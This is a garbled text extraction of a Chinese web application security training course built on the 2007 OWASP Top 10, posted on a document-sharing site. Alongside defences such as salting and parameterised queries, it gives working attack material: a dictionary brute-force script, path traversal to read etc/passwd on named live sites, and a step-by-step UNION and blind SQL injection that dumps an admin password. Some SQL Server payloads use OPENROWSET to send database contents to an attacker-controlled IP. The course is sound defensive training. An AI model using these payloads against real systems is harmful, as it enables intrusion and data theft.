Web应用安全培训教程

上传人:帝城 文档编号:161649412 上传时间:2022-10-14 格式:PPT 页数:169 大小:7.25MB
收藏 版权申诉 举报 下载
Web应用安全培训教程_第1页
第1页 / 共169页
Web应用安全培训教程_第2页
第2页 / 共169页
Web应用安全培训教程_第3页
第3页 / 共169页
资源描述:

《Web应用安全培训教程》由会员分享,可在线阅读,更多相关《Web应用安全培训教程(169页珍藏版)》请在装配图网上搜索。

1、Web应用安全培训教程应用安全培训教程2目录目录 Web Web对象直接引用对象直接引用二二三三四四 恶意代码执行恶意代码执行一一 背景背景 注入攻击注入攻击五五 跨站脚本攻击跨站脚本攻击六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七3WebWeb来源于来源于World Wide WebWorld Wide Web,WebWeb系统是系统是InternetInternet的重要组成部分,的重要组成部分,形形色色的形形色色的WebWeb系统正在改变着我们的生活:系统正在改变着我们的生活:网上购物网上汇款交费写博客Web小游戏竞选网上营业厅Web丰

2、富了我们的生活丰富了我们的生活4作为一种新型的市场渠道,网上营业厅能够为用户提供方便快捷的服务,能够作为一种新型的市场渠道,网上营业厅能够为用户提供方便快捷的服务,能够降低实体店铺的成本,因此在各大运营商市场战略中占有重要的位置。近年以降低实体店铺的成本,因此在各大运营商市场战略中占有重要的位置。近年以来,网上营业厅的安全问题越来越受到大众的关注,主要可以划分成来,网上营业厅的安全问题越来越受到大众的关注,主要可以划分成4 4个方面:个方面:Web安全的意义安全的意义工信部工信部网上营业厅如果被不法分子攻陷,那么可能以此为跳板进入网上营业厅如果被不法分子攻陷,那么可能以此为跳板进入运营商的支撑

3、网甚至核心网络,造成大面积通讯故障。运营商的支撑网甚至核心网络,造成大面积通讯故障。普通用户普通用户网上到处叫卖的个人通话详单查询服务已经对老百姓的隐私网上到处叫卖的个人通话详单查询服务已经对老百姓的隐私造成了极大的破坏。移动集团一直就很重视客户信息保密的造成了极大的破坏。移动集团一直就很重视客户信息保密的问题。问题。运营商运营商网上营业厅代表了企业对外的形象,每天访问用户数以万计,网上营业厅代表了企业对外的形象,每天访问用户数以万计,如果出现页面篡改、甚至网页挂马事件,对企业形象是巨大如果出现页面篡改、甚至网页挂马事件,对企业形象是巨大损失。损失。运营商运营商网上营业厅涉及充值交费等交易业务

4、,容易吸引不法分子的网上营业厅涉及充值交费等交易业务,容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺诈,损害企业的经济利眼球。如果利用安全漏洞造成交易欺诈,损害企业的经济利益。益。5WebWeb系统逐渐成为企业安全边界之一系统逐渐成为企业安全边界之一防火墙加固OSWeb服务器应用服务器防火墙数据库历史遗留系统Web Services文件目录人力系统计费系统定制的应用程序应用层应用层攻击仅仅使用网络层的防护手段仅仅使用网络层的防护手段 (防火墙防火墙,SSL,IDS,SSL,IDS,加固加固)无法阻止或检测到应用层攻击无法阻止或检测到应用层攻击网络层应用层应用层作为安全边界的一部分,或许应用

5、层作为安全边界的一部分,或许有巨大的漏洞有巨大的漏洞6而而WebWeb系统的安全性参差不齐系统的安全性参差不齐复杂应用系统代码量大、开发人员多、难免出现疏忽;系统屡次升级、人员频繁变更,导致代码不一致;历史遗留系统、试运行系统等多个Web系统共同运行于同一台服务器上;开发人员未经过安全编码培训;定制开发系统的测试程度不如标准的产品;客户满意界面友好操作方便处理性能实现所有功能架构合理代码修改方便运行稳定没有bug不同模块低耦合相对安全性而言,相对安全性而言,开发人员更注重开发人员更注重系统功能!系统功能!开发进度与成本开发者的关注点开发者的关注点7定制开发的定制开发的WebWeb应用应用 =企

6、业安全的阿基里斯之踵企业安全的阿基里斯之踵 “目前,目前,75%的攻击发生在应用层的攻击发生在应用层”Gartner,2006“2006年前年前9个月内新发现个月内新发现4,375 个漏洞个漏洞.Web漏洞是其中漏洞是其中最普遍的三类之一最普遍的三类之一.”Mitre Corp,09/2006,CVE的维护者“产品的定制开发是应用安全中最薄弱的一环产品的定制开发是应用安全中最薄弱的一环”.Gartner,09/2005“到到2009年年,80%的企业都将成为应用层攻击的受害的企业都将成为应用层攻击的受害者者”.Gartner,20078WebWeb攻击场景攻击场景攻击动机攻击动机攻击方法攻击方

7、法攻击工具攻击工具系统漏洞系统漏洞防范措施防范措施攻击面(attack surface)Web服务器黑客9Web攻击动机攻击动机常见常见WebWeb攻击动机攻击动机 恶作剧;关闭Web站点,拒绝正常服务;篡改Web网页,损害企业名誉;免费浏览收费内容;盗窃用户隐私信息,例如Email;以用户身份登录执行非法操作,从而获取暴利;以此为跳板攻击企业内网其他系统;网页挂木马,攻击访问网页的特定用户群;仿冒系统发布方,诱骗用户执行危险操作,例如用木马替换正常下载文件,要求用户汇款等;常用的挂马常用的挂马exploitMS07-017 MS Windows Animated Cursor(.ANI)Re

8、mote ExploitMS07-019MS07-004 VML Remote Code ExecutionMS06-073MS06-071 XML Core Services Remote Code ExecutionMS06-068MS06-067MS06-057 WebViewFolderIcod ActiveXMS06-055MS06-014 MDAC Remote Code ExecutionMS06-013MS06-005MS06-004MS06-00110Web攻击方法攻击方法常见常见WebWeb攻击方法攻击方法 Google hack 网页爬行 暴力猜解 Web漏洞扫描 错误信

9、息利用 根据服务器版本寻找现有的攻击代码 利用服务器配置漏洞 文件上传下载 构造恶意输入(SQL注入攻击、命令注入攻击、跨站脚本攻击)HTTP协议攻击 拒绝服务攻击 其他攻击点利用(Web Services,Flash,Ajax,ActiveX,JavaApplet)业务逻辑测试 收集系统相关的通用信息 将系统所有能访问页面,所有的资源,路径展现出来 URL、口令、数据库字段、文件名都可以暴力猜解,注意利用工具;利用Web漏洞扫描器,可以尽快发现一些明显的问题 错误可能泄露服务器型号版本、数据库型号、路径、代码;搜索Google,CVE,BugTraq等漏洞库是否有相关的漏洞 服务器后台管理页

10、面,路径是否可以列表等 是否可以上传恶意代码?是否可以任意下载系统文件?检查所有可以输入的地方:URL、参数、Post、Cookie、Referer、Agent、系统是否进行了严格的校验?HTTP协议是文本协议,可利用回车换行做边界干扰 用户输入是否可以影响服务器的执行?需要特殊工具才能利用这些攻击点 复杂的业务逻辑中是否隐藏漏洞?11Web攻击工具:攻击工具:WebScarab特色:HTTP协议完全可见(可以完全操作所有的攻击点)支持HTTPS(包括客户端证书)全程数据与状态记录,可随时回顾http:/www.owasp.org OWASP=Open Web Application Secu

11、rity Project,OWASP是最权威的Web应用安全开源合作组织,其网站上有大量的Web应用安全工具与资料。Nokia是其成员之一WebScarab是OWASP组织推出的开源工具,可应用于一切基于HTTP协议系统的调试与攻击;12访问资源名称GET与POST参数Referer与User AgentHTTP 方法CookieAjaxWeb ServiceFlash客户端Java AppletWeb攻击面:不仅仅是浏览器中可见的内容攻击面:不仅仅是浏览器中可见的内容POST/thepage.jsp?var1=page1.html HTTP/1.1Accept:*/*Referer:http

12、:/ ID。它的网址为:http:/ ID,它的网址为:http:/cve.mitre.org/。CVE与Bugtraq漏洞库都会对确认的漏洞进行统一编号,其编号是业界承认的统一标准,有助于避免混淆。在这些漏洞库中都可以查到大量的Web应用漏洞。14Web攻击漏洞:攻击漏洞:2007 OWASP Top 102007年3月,OWASP对最新的Web应用漏洞按类别进行排名,并将前十名的脆弱性类别编制成册。http:/www.owasp.org/index.php/OWASP_Top_Ten_Project其中前5名与SANS定期更新的Top20榜中Web应用脆弱性前5名基本一致。http:/ww

13、w.sans.org/top20跨站脚本注入恶意代码引用不当CSRF152007 OWASP Top 10:第一名第四名:第一名第四名No.No.漏洞名称漏洞名称简介简介举例举例A1跨站脚本Cross Site Scripting,简称为XSS如果Web应用没有对攻击者的输入进行适当的编码和过滤,就转发给其他用户的浏览器时,可能导致XSS漏洞。攻击者可利用XSS在其他用户的浏览器中运行恶意脚本,偷窃用户的会话,或是偷偷模拟用户执行非法的操作;发帖子,发消息A2注入Injection Flaws如果Web应用没有对攻击者的输入进行适当的编码和过滤,就用于构造数据库查询或操作系统命令时,可能导致注

14、入漏洞。攻击者可利用注入漏洞诱使Web应用执行未预见的命令(即命令注入攻击)或数据库查询(即SQL注入攻击)。搜索用户A3恶意代码执行Malicious File Execution如果Web应用允许用户上传文件,但对上传文件名未作适当的过滤时,用户可能上载恶意的脚本文件(通常是Web服务器支持的格式,如ASP,PHP等);脚本文件在Include子文件时,如果Include路径可以被用户输入影响,那么可能造成实际包含的是黑客指定的恶意代码;上述两种情况是造成恶意代码执行的最常见原因。上传附件,上传头像A4对象直接引用Insecure Direct Object Reference访问内部资源

15、时,如果访问的路径(对文件而言是路径,对数据库而言是主键)可被攻击者篡改,而系统未作权限控制与检查的话,可能导致攻击者利用此访问其他未预见的资源;下载文件162007 OWASP Top 10:第五名第十名:第五名第十名No.No.漏洞名称漏洞名称简介简介举例举例A5 跨站请求伪造Cross Site Request Forgery,简称为CSRFCSRF攻击即攻击者在用户未察觉的情况下,迫使用户的浏览器发起未预见的请求,其结果往往损害用户本身的利益。CSRF攻击大多利用Web应用的XSS漏洞,也有很多CSRF攻击没有利用XSS而是利用了HTML标签的特性。不明邮件中隐藏的html链接A6 信

16、息泄露与错误处理不当Information Leakage and Improper Error HandlingWeb应用可能不经意地泄露其配置、服务器版本、数据库查询语句、部署路径等信息,或是泄露用户的隐私。攻击者可利用这些弱点盗窃敏感信息。错误信息揭示路径A7 认证与会话管理不当Broken Authentication and Session Management如果Web应用的认证与会话处理不当,可能被攻击者利用来伪装其他用户身份A8 存储不安全Insecure Cryptographic Storge如果Web应用没有正确加密存储敏感信息,可能被攻击者盗取。例如攻击者可能通过SQL

17、注入手段获取其他用户的密码,如果Web应用对密码进行了加密,就可以降低此类威胁。A9 通讯加密不安全Insecure Communication如果Web应用没有对网络通讯中包含的敏感信息进行加密,可能被窃听A10 URL访问控制不当Failure to Restrict URL Access如果Web应用对URL访问控制不当,可能造成用户直接在浏览器中输入URL,访问不该访问的页面17OWASP TOP 10,您打算从哪里开始?,您打算从哪里开始?2345678910118目录目录 Web Web对象直接引用对象直接引用二二三三四四 恶意代码执行恶意代码执行一一 背景背景 注入攻击注入攻击五

18、五 跨站脚本攻击跨站脚本攻击六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七192007 OWASP 第第10名:名:URL访问控制不当访问控制不当举例:有的Web应用对页面权限控制不严,原因是缺乏统一规范的权限控制框架,导致部分页面可以直接从URL中访问,绕开登录认证。防范措施:统一规范权限控制。A10 URL访问控制不当Failure to Restrict URL Access如果Web应用对URL访问控制不当,可能造成用户直接在浏览器中输入URL,访问不该访问的页面202007 OWASP 第第9名名举例:网络窃听(Sniffer)可以捕

19、获网络中流过的敏感信息,如密码,Cookie字段等。高级窃听者还可以进行ARP Spoof,中间人攻击。防范措施:通讯加密。A9 通讯加密不安全Insecure Communication如果Web应用没有对网络通讯中包含的敏感信息进行加密,可能被窃听Host AHost BRouter A Router B 212007 OWASP 第第8名名举例:很多Web应用将用户口令以明文的方式保存,一旦黑客能够通过其他漏洞获取这些口令,就可以伪造他人身份登录,包括系统管理员。建议:采用安全的算法加密保存口令。下面将举一个实例说明A8 存储不安全Insecure Cryptographic Storg

20、e如果Web应用没有正确加密存储敏感信息,可能被攻击者盗取。例如攻击者可能通过SQL注入手段获取其他用户的密码,如果Web应用对密码进行了加密,就可以降低此类威胁。222007 OWASP 第第8名:名:Case vBulletinvBulletin 以MD5方式保存用户口令,然而其2.3.0版本存在一个SQL注入漏洞,可以通过此漏洞查询管理员密码的MD5值;Step 1:通过Google搜索vBulletin 2.3.0的特征,发现965.000项符合。这是这是Google Hack,后面会专门介绍后面会专门介绍232007 OWASP 第第8名:名:Case vBulletinStep 2

21、:检查漏洞页面calendar.php能否访问。Step 3:由于该攻击利用了Union,要求MySQL版本高于4.0,因此通过下面的链接检查其MySQL版本是否高于4.0。http:/ OWASP 第第8名:名:Case vBulletinStep 4:注册一个用户,在首页查看自己的ID。252007 OWASP 第第8名:名:Case vBulletinStep 5:通过下面的链接实现SQL注入攻击:http:/ OWASP 第第8名:名:Case vBulletinStep 6:访问http:/,输入MD5值反查密码为811028。现在很多Web应用已经开始用MD5算法保存用户密码,然而

22、直接进行MD5并非安全算法。右图的Rainbow表就可以用于反查MD5值。Rainbow表利用了Hellman的存储-时间权衡算法,通过设计一个大数据量的表来提高反查效率。27防范措施:防范措施:SALT学习Unix操作系统采用Salt技术来防范rainbow表攻击。Password随机随机SaltMD5Base64随机随机salt+Shadow文件中保存的内容文件中保存的内容Unix在保存用户口令时,会随机生成一个12字节的字符串作为salt,然后把salt与口令一起计算MD5,并将salt与结果保存在etc/shadow中。验证时将salt与用户输入口令结合计算MD5并与存储的结果比对。2

23、82007 OWASP 第第7名名举例:有的Web应用登录界面允许攻击者暴力猜解口令,在自动工具与字典表的帮助下,可以迅速找到弱密码用户。A7 认证与会话管理不当Broken Authentication and Session Management如果Web应用的认证与会话处理不当,可能被攻击者利用来伪装其他用户身份防范措施:图片认证码,双因素认证29实验环境搭建实验环境搭建采用VMware 5.0,虚拟两台主机,构造一个虚拟局域网Window 2000 Server模拟Web服务器IP:192.168.230.2Window 2000 Professional已安装实验所需的攻击工具,模拟

24、黑客机IP:192.168.230.3本地机模拟普通用户IP:192.168.230.1302007 OWASP 第第7名:名:Case Brute我们将利用一个简单的Perl脚本对目标进行字典攻击;首先设定Perl运行环境,将bin目录添加到系统PATH中:学员练习学员练习10Min312007 OWASP 第第7名:名:Case Brute运行perl formbrute.pl,显示其命令参数如下:usage:formbrute.pl-U url:网址-m method(GET|POST):GET还是POST-u usernameFile:用户名字典文件-p passwordFile:密码

25、字典文件-l loginVariable:Form中用户名的变量名称-w passVariable:Form中密码的变量名称-o otherVariables(ie:submit=true&login=yes):其他变量-v proxyServer:代理-f failureString:失败后返回标记-s saveFilename:输出文件名-h request-headers(ie:Referer:abc&Cookie:ng=omo):其他HTTP头数据学员练习学员练习10Min322007 OWASP 第第7名:名:Case Brute启动WebScarab,开启抓包功能。同时在IE中设置

26、代理:学员练习学员练习10Min332007 OWASP 第第7名:名:Case Brute在登录页面输入用户名aaa,密码bbb,点击登录,WebScarab抓到IE发起的请求如下:POST http:/192.168.230.2:80/bbs/Default.asp HTTP/1.1Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msw

27、ord,*/*Referer:http:/192.168.230.2/bbs/Accept-Language:zh-cnContent-Type:application/x-www-form-urlencodedAccept-Encoding:gzip,deflateUser-Agent:Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.1;SV1;.NET CLR 1.1.4322)Host:192.168.230.2Content-length:77Proxy-Connection:Keep-AlivePragma:no-cacheCookie:Sn

28、itz00User=;ASPSESSIONIDQCSDTQDT=CFPLNNDAGPEJLCMAJGKGCECA;iscookies=0;BoardList=BoardID=Show;upNum=0Method_Type=login&Name=aaa&Password=bbb&SavePassWord=true&submit1.x=34&submit1.y=17学员练习学员练习10Min342007 OWASP 第第7名:名:Case Brute由于输入的是错误的密码,页面提示:你的用户名或者密码是错误的.请重新输入或者注册成为新会员.我们把“错误”当成登录失败的标志,用formbrute发起

29、如下命令:perl formbrute.pl-U http:/192.168.230.2/bbs/Default.asp-m POST-u UserList.txt-p PasswordList.txt-l Name-w Password-o Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17-f 错误-s result.txt学员练习学员练习10Min352007 OWASP 第第7名:名:Case Brute结果输出在result.txt中:寻找到admin:admin以及test:test两个合法登录!学员练习学员练

30、习10Min362007 OWASP 第第7名:名:Case Brute题外话:Formbrute代码非常简短,稍加修改就可以完成更多的任务,例如:猜解后台管理入口;猜解数据库字段名;自动测试手工测试372007 OWASP 第第6名名举例:错误页面往往泄露系统内部敏感信息防范措施:在所有的运行代码中进行规范的异常处理。已处理的异常和未处理的异常应该始终将提供的可能有助于黑客攻击的信息减到最少。例如在登录系统时,不论是用户名不存在还是密码错误都应该提示相同的错误信息。A6 信息泄露与错误处理不当Information Leakage and Improper Error HandlingWeb

31、应用可能不经意地泄露其配置、服务器版本、数据库查询语句、部署路径等信息,或是泄露用户的隐私。攻击者可利用这些弱点盗窃敏感信息。382007 OWASP 第第6名:名:Case 1泄露服务器Tomcat版本392007 OWASP 第第6名:名:Case 2泄露数据库查询语句;泄露数据库为Oracle;402007 OWASP 第第6名:名:Case 3泄露数据库为Microsoft SQL Server412007 OWASP 第第6名:名:Case 4泄露数据库为MySQL422007 OWASP 第第6名:名:Case 5泄露服务器目录432007 OWASP 第第6名:名:IE设置设置1

32、有的时候您看到的是如下的页面:442007 OWASP 第第6名:名:IE设置设置2原因是IE显示给用户的是友好的HTTP错误,所以需要去掉下面选项的勾:452007 OWASP 第第6名:名:IE设置设置3重启IE后,显示更多的技术细节:46总结总结前面简介OWASP漏洞排名第10名到第6名的漏洞攻防;接下来将详细介绍第5名到第1名;我们把XSS与CSRF合并在一起介绍,顺序如下:Insecure Direct Object Reference:直接对象引用Malicious File Execution:恶意代码Injection:注入XSS and CSRF:跨站脚本与跨站请求伪造47目

33、录目录 Web Web对象直接引用对象直接引用二二三三四四 恶意代码执行恶意代码执行一一 背景背景 注入攻击注入攻击五五 跨站脚本攻击跨站脚本攻击六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七48对象直接引用对象直接引用 一一A4对象直接引用Insecure Direct Object Reference访问内部资源时,如果访问的路径(对文件而言是路径,对数据库而言是主键)可被攻击者篡改,而系统未作权限控制与检查的话,可能导致攻击者利用此访问其他未预见的资源;下载文件目标:获取服务器的etc/passwd文件方法:Web服务器一般缺省不允许攻击

34、者访问Web根目录以外的内容。但是对Web应用却不做限制,因此操作系统Web应用Web服务器我想看etc/passwdAccess Denied!我想看etc/passwdOK!我想看etc/passwdOK!49对象直接引用对象直接引用Step 1.访问http:/traffic-,这是一个网页浏览统计系统,点击Get stats!链接50对象直接引用对象直接引用Step 2.右键点击中间的图片,查看其链接属性:51对象直接引用对象直接引用Step 4.您是否观察到其中file是作为plotStat.php的一个参数传入,那么我们用file指向其他敏感文件试试看:52对象直接引用对象直接引用

35、Step 5.构造参数/./././././././././etc/passwd拿到etc/passwd!53对象直接引用对象直接引用Step 6.进一步的攻击,Google搜索 inurl:download.jsp?file=:54对象直接引用对象直接引用下面这些链接都可以直接下载网站的源代码1.http:/www.swscreen.co.uk/download.asp?path=/./download.asp2.http:/webhelp.swu.ac.th/download.asp?file=download.asp3.http:/ 然而,google却没有检查参数中的DOCID是否属于

36、您。所以,您可以猜测他人文档的ID并利用这个链接让google把文档邮给您。http:/xs- File Inclusion(简称RFI/LFI)漏洞就是因为系统在包含脚本文件时,包含的路径可被黑客篡改。2007年9月26日16:00点在http:/ FrontAccounting 1.13 Remote File Inclusion Vulnerabilities2007-09-24 sk.log=0.5.3(skin_url)Remote File Inclusion Vulnerability2007-09-24 DFD Cart 1.1 Multiple Remote File Inc

37、lusion Vulnerabilities2007-09-23 phpFullAnnu(PFA)6.0 Remote SQL Injection Vulnerability2007-09-23 helplink 0.1.0(show.php file)Remote File Inclusion Vulnerability2007-09-23 PHP-Nuke addon Nuke Mobile Entartainment LFI Vulnerability2007-09-23 Wordsmith 1.1b(config.inc.php _path)Remote File Inclusion

38、Vuln2007-09-22 Black Lily 2007(products.php class)Remote SQL Injection Vulnerability2007-09-22 Clansphere 2007.4(cat_id)Remote SQL Injection Vulnerability2007-09-21 CMS Made Simple 1.2 Remote Code Execution Vulnerability2007-09-21 iziContents 20程序员未预料到的结果程序员未预料到的结果age:1000000 union select name,age,p

39、assword from usersSELECT name,age,locationFROM Users WHERE age999 union select name,age,password from usersFactFact:大多数程序员都注意到了的问题,他们用来代替用户输入的,从而防止字符串SQL注入;但很多人缺忽略了同样严重的数字注入问题。其防范方法是检查用户输入的数字是否合法。Union暴库是常见的注入方法Union语法要求前后两句SQL中Select的数据项类型和数量一致;这两句sql都符合string,int,string的模式999是不可能符合的条件,这样union的结果就只

40、剩第二句sql查询的内容76打开培训示范论坛,不用登录,直接查看用户属性SQL Injection:Case学员练习学员练习20Min77一个简单的测试显示这里可能存在注入漏洞。从错误看出是MS SQL Server。从链接的形式id=?来看应该可能是数字型。因此报错是必然的。从报错来看,程序员把替换成了SQL Injection:Step 1学员练习学员练习20Min78用试验,发现出来了一部分数据,test用户名及其email地址,这证明至少有一条SQL正确运行。但是依然有SQL报错,很可能是后台有两条SQL语句都分别用到了id变量,而两语句使用的环境不同。SQL Injection:St

41、ep 2学员练习学员练习20Min79实际情况是第一条SQL是where id=?,第二条SQL是where(xx=xx)and(id=?)。因此要第二条不错,id只能用2)-,但这样第一条又会出错,难以两全。从错误行号来看,第一句SQL位于84行,第二句SQL位于207行。SQL Injection:Step 3学员练习学员练习20Min80对于Select查询,几乎都可以用Union查询来暴库。Union要求前后两句对应的数据项数量相同,类型一致,因此需要首先检查第一句SQL的数据项数量。方法是用order by n,逐步增加n。SQL Injection:Step 4学员练习学员练习20

42、Min81N=30正常,N=31错误!因此第一句SQL有30项。SQL Injection:Step 5学员练习学员练习20Min82由于union还要求类型一致,30项要逐个猜测类型是不现实的,因此用通配符null!准备30个null。提示这个错误的原因说明前一句sql中有image类型,而union缺省是distinct的,要解决这个问题,使用union all即可。SQL Injection:Step 6学员练习学员练习20Min83使用Union All后,终于又看到了test的信息。SQL Injection:Step 7学员练习学员练习20Min84调整union第一句的条件为“不

43、可能满足”,这样显示出来的始终是第二句,即使为nullSQL Injection:Step 8学员练习学员练习20Min这两个位置显示的是30项null中的某两个。因此可以利用这里来回显信息!85需要找到这两个数据位于30个null中的何处。首先试验把第二个null换成字符型的null。错误提示不是告诉类型不匹配,而是说有语法错误。从而再次确认:开发者用替换了。SQL Injection:Step 9学员练习学员练习20Min86要写出不带的sql语句并不困难。如果您对SQL语法熟悉的话,就知道有一个char函数可供利用。SQL Injection:Step 10学员练习学员练习20Min64

44、是的ASCII码数值,10进制。成功回显87SQL Injection:Step 11学员练习学员练习20Min第二个null位置回显于此处试出两个回显点的位置:第四个null位置回显于此处88SQL Injection:Step 12学员练习学员练习20Min把后面的sql替换成select null,password,null,.,null from users的形式,希望能显示一个密码,但是失败了。系统不存在users表。再猜测几个表发现依然失败。看来仅仅靠猜测是不行的。89不同的数据库都有系统表,可以利用来枚举表结构不同的数据库都有系统表,可以利用来枚举表结构在不同的DBMS枚举表结构

45、MS SQLSELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=表名)sp_columns tablename(这个存储过程可以列举表的字段名)MySQLshow columns from tablenameOracleSELECT*FROM all_tab_columnsWHERE table_name=表名90数据库系统表数据库系统表OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_

46、TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases91SQL Injection:Step 13学员练习学员练习20Min查询一下是否有列名为pass(word)的表,首先简单测试一下:Select name from syscolumns where name like%p%结果提示错误!原因:服务器自动进行

47、URL解码。除了把%20转化为空格外,还会把+转化为空格。因此数据库查询变成了 like%p%92SQL Injection:Step 14学员练习学员练习20Min解决办法:用+的URL编码后的形式%2B,服务器解码后就成了+。结果如下:有一列为parent_obj符合条件93SQL Injection:Step 15学员练习学员练习20Min下面的查询列出所有含有类似pass列的表名和列名:Select sysobjects.name,syscolumns.name from syscolumns,sysobjects where syscolumns.name like%pass%and

48、 sysobject.type=U and sysobject.id=syscolumns.id系统中有一个FORUM_FORUM表,含有一列F_PASSWORD_NEW94SQL Injection:Step 16学员练习学员练习20Min但是我们对Forum_Forum这个表不感兴趣,所以查一下结果数目。使用count(*)查询结果为2;95SQL Injection:Step 17学员练习学员练习20Min因此对后一句使用order by 2 desc(可以反复多试一下不同的排序方式)直到最后显示出表名FORUM_MEMBERS中含有M_PASSWORD列;96SQL Injection

49、:Case学员练习学员练习20Min猜测还有M_NAME一列。最后查询出系统含有admin用户,其口令为admin。97充分利用系统的错误提示信息;充分利用union查询,这种方式几乎适合于所有的数据库类型,是最为普遍的一种暴库方法;union时首先利用order by检查数据项,再用null做通配满足数据类型一致,注意使用union all;充分利用系统回显,如果回显只能显示一项数据,那么对union之前的查询设置“不能满足的条件”,对union之后的语句采用order by调整显示的顺序;结合系统表枚举表结构;注意利用特殊方法来绕开系统的过滤,如char()绕开对的过滤;注意“加号”的UR

50、L编码;注意考虑程序员的习惯,例如asp里程序员一般都会把用代替,但是有时候会忽略数字项的注入漏洞。例如根据列名M_PASSWORD可以猜测出还有一列名为M_NAME总结总结98盲注入(Blind Injection):如果系统屏蔽了详细的错误信息,那么对攻击者而言就是盲注入。盲注入并非是全盲,可以充分利用系统的回显空间;例如前面的实例,对于有经验的攻击者,完全可以抛开那些错误信息直接注入。如果连回显也没有(比如Mysql 4.0版本以下不支持UNION查询),那么就要利用在正确与错误之间,依然可以获取的1Bit的信息量;如果看不到具体的错误信息:盲注入如果看不到具体的错误信息:盲注入99an

51、d exists(select*from admin where id=1 and len(name)5),返回正常说明长度大于5,and exists(select*from admin where id=1 and len(name)7),返回错误说明长度小于7,and exists(select*from admin where id=1 and mid(password,1,1)=a),返回正常说明密码第一个字符是英文(0=48,a=65,A=97),and exists(select*from admin where id=1 and mid(password,1,1)=z),返回正

52、常说明密码第一个字符是小写英文(0=48,a=65,A=97),and exists(select*from admin where id=1 and mid(password,1,1)=m,返回错误说明密码第一个字符在n到z之间,最好用工具,例如前面提到的最好用工具,例如前面提到的Formbrute;要利用数据库字符串处理函数如要利用数据库字符串处理函数如mid,len,left等等,不同数据库有差异,等等,不同数据库有差异,最好有速查手册。最好有速查手册。二分法盲注入示例二分法盲注入示例100各系统的区别(字符串处理)各系统的区别(字符串处理)MS SQLMySQLAccessOracle

53、长度len(abc)=3length(abc)=3len(abc)=3length(abc)=3截取左右left(abc,2)=abright(abc,2)=bcleft(abc,2)=abright(abc,2)=bcleft(abc,2)=abright(abc,2)=bc用substr代替截取中间substring(abc,2,1)=bsubstring(abc,2,1)=bmid(abc,2,1)=bmid(abc,2,1)=bsubstr(abc,2,1)=b字符串连接+concat (,)&|101各系统的区别(二)各系统的区别(二)MS SQLMySQLAccessOracle联

54、合查询YN4.0Y 4.0YY子查询YN4.1Y 4.1NY多句查询YNNN默认存储过程非常多NN非常多102高级高级SQL注入:利用数据库的高级特性注入:利用数据库的高级特性上述语句仅限于SQL Server:黑客在本地运行SQL Server,并创建一个与服务器端target_table结构一样的表my_table,就可以利用此命令将服务器表的数据全部导到本地;其中sa:Pass123是黑客SQL Server的登录信息,myIP是黑客的IP地址,80是SQL Server端口(缺省情况下不是80,这样是方便反弹连接)Bubble;insert intoOPENROWSET(SQLoled

55、b,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select*from my_table)select*from target_table-103高级高级SQL注入:利用数据库的高级特性注入:利用数据库的高级特性上述语句仅限于SQL Server:在服务器端创建temp_table6后,黑客利用此实例所示的xp_dirtree功能查看c:inetpub下的文件列表,并导出到黑客本地的temp_table6中;可以更换c:inetpub这个参数为其他目录,反复使用此语句,从而对服务器文件目录有全面了解。采用/*/作为分割符的原因是这个

56、注入点过滤了空格。Bubbledelete/*/from/*/temp_table6;insert/*/into/*/temp_table6/*/exec/*/master.dbo.xp_dirtree/*/c:inetpub;insert/*/into/*/OPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select/*/*/*/from/*/temp_table6)select/*/*/*/from/*/temp_table6;-104高级高级SQL注入:利用数据库的高级特性注入:利用数据库的

57、高级特性上述语句仅限于Oracle 9i及其以上版本:第一句查询当前数据库表中的用户表(非系统表),并获取排名最前的一个,假设返回结果为SYS_GN。第二句查询将所有的用户表名连接为一个字符串输出,适合于只有一个回显点时探测数据库结构。Bubbleselect table_name from user_tables order by table_name;select max(sys_connect_by_path(table_name,)from(select table_name,lag(table_name)over(order by table_name)as lagcol,rownu

58、m as rn from user_Tables where rownum?”PreparedStatement pstmt=con.prepare(sql);pstmt.setInt(1,request.getParameter(“cat”);pstmt.setString(2,request.getParameter(“price”);ResultSet rs=pstmt.executeQuery();Statement stmt=con.createStatement();stmt.executeUpdate(select*from Users where name=+name);应当全

59、部使用PreparedStatement来防止SQL注入但是在使用PreparedStatement,也要注意符合编码规范,如下的方法也会导致SQL注入:安全安全危险危险危险危险109ASP.NET:SqlParameterCollection在ASP.NET中要使用SqlParameterCollection来防止SQL注入:BubbleSqlDataAdapter myDataAdapter=new SqlDataAdapter(SELECT au_lname,au_fname FROM Authors WHERE au_id=au_id,connection);myCommand.Sel

60、ectCommand.Parameters.Add(au_id,SqlDbType.VarChar,11);myCommand.SelectCommand.Parametersau_id.Value=SSN.Text;myDataAdapter.Fill(userDataset);总结:JSP实例中的setInt,setString,ASP.NET实例中的SlqDbType.VarChar都充分利用了语言本身提供的功能去进行强类型检查。而最早的ASP就缺乏这种机制,这也是为何ASP是最容易进行SQL注入的语言。110数据库加固:最小权限原则数据库加固:最小权限原则除了在代码设计开发阶段预防SQ

61、L注入外,对数据库进行加固也能够把攻击者所能造成的损失控制在一定范围内;主要包括:禁止将任何高权限帐户(例如sa,dba等等)用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。拒绝用户访问敏感的系统存储过程,如前面示例的xp_dirtree,xp_cmdshell等等;限制用户所能够访问的数据库表;Bubble111目录目录 Web Web对象直接引用对象直接引用二二三三四四 恶意代码执行恶意代码执行一一 背景背景 注入攻击注入攻击五五 跨站脚本攻击跨站脚本攻击六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七112跨站脚本:跨站脚

